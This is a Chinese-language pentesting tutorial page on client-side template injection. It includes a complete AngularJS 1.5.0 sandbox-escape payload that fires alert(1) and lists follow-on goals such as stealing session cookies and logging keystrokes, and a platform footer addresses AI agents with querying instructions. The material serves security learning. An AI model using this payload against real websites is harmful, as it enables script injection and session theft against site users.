> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md).

# CSTI 技术

如何知道一个网站是否可能易受攻击 **CSTI** ？如果我们可以在一个 **输入** 如下例中变量的情况 **用户** 并且它被解释为一个 **输出**:

<figure><img src="/files/7e133f8b49214d2ba599ee9c02be05f92335a8cd" alt="" width="563"><figcaption></figcaption></figure>

例如，通过观察 Web 服务器 **源代码**，如果它使用诸如 **Python、Java、Jinja2、AngularJS 等。** 并且输入未经过净化，则可能存在该漏洞：

<figure><img src="/files/ea51bf23f0034a58f1bc3b511f3b39db8e8ea7e9" alt="" width="563"><figcaption></figcaption></figure>

多亏了网站 [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)，我们找到了所有 [可能的注入](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)：在这种情况下，我们看到 versiwe 是 **1.5.0** 的 **Angular.JS**:

<figure><img src="/files/3f13847ebb16639b1aca36ae93afcb0fbfc78085" alt="" width="563"><figcaption></figcaption></figure>

```javascript
javascript复制代码{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

```

我们可以发送 **警报** 如同在攻击中一样 **XXS**:

<figure><img src="/files/a7cf54c237d9ff4021615b8a7ed4dd93a140dde4" alt="" width="563"><figcaption></figcaption></figure>

这可用于将此攻击与 [XSS ](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss.md)结合起来，如下所示：

* *窃取会话 cookie*
* *捕获所有按键输入*
* *获取对服务器的访问权限等*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-client-side-template-injection-csti/csti-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
